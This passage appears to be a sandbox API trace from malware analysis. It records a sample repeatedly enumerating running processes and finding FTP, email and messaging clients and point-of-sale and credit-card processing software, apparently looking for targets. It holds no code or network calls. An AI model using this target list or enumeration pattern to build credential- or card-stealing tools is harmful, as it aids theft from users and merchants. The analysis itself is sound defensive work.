[0252.412] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0252.414] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0252.415] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0252.417] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0252.418] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0252.420] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0252.421] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0252.422] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0252.424] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0252.425] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0252.427] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0252.429] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0252.430] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0252.432] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0252.434] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0252.436] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0252.476] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0252.477] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0252.479] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0252.481] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0252.482] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0252.484] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0252.486] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0252.488] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0252.490] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0252.492] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0252.493] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0252.495] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0252.497] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0252.498] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0252.500] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0252.501] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0252.503] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0252.505] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0252.507] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0252.508] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0252.510] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0252.511] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0252.513] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0252.514] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0252.516] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0252.517] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0252.600] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0252.602] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0252.604] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0252.606] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0252.608] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0252.610] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0252.612] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0252.614] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0252.616] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0252.617] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0252.619] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0252.620] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0252.622] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0252.623] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0252.625] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0252.626] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0252.628] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0252.630] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0252.632] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0252.678] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0252.679] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0252.681] CloseHandle (hObject=0x13b0) returned 1 [0252.681] Sleep (dwMilliseconds=0x64) [0252.722] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0252.734] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.736] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0252.738] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0252.739] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.741] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0252.743] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.745] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0252.747] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0252.749] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0252.750] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.752] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.801] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0252.804] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.805] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.807] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.809] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.811] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.812] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.814] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.815] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0252.817] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, 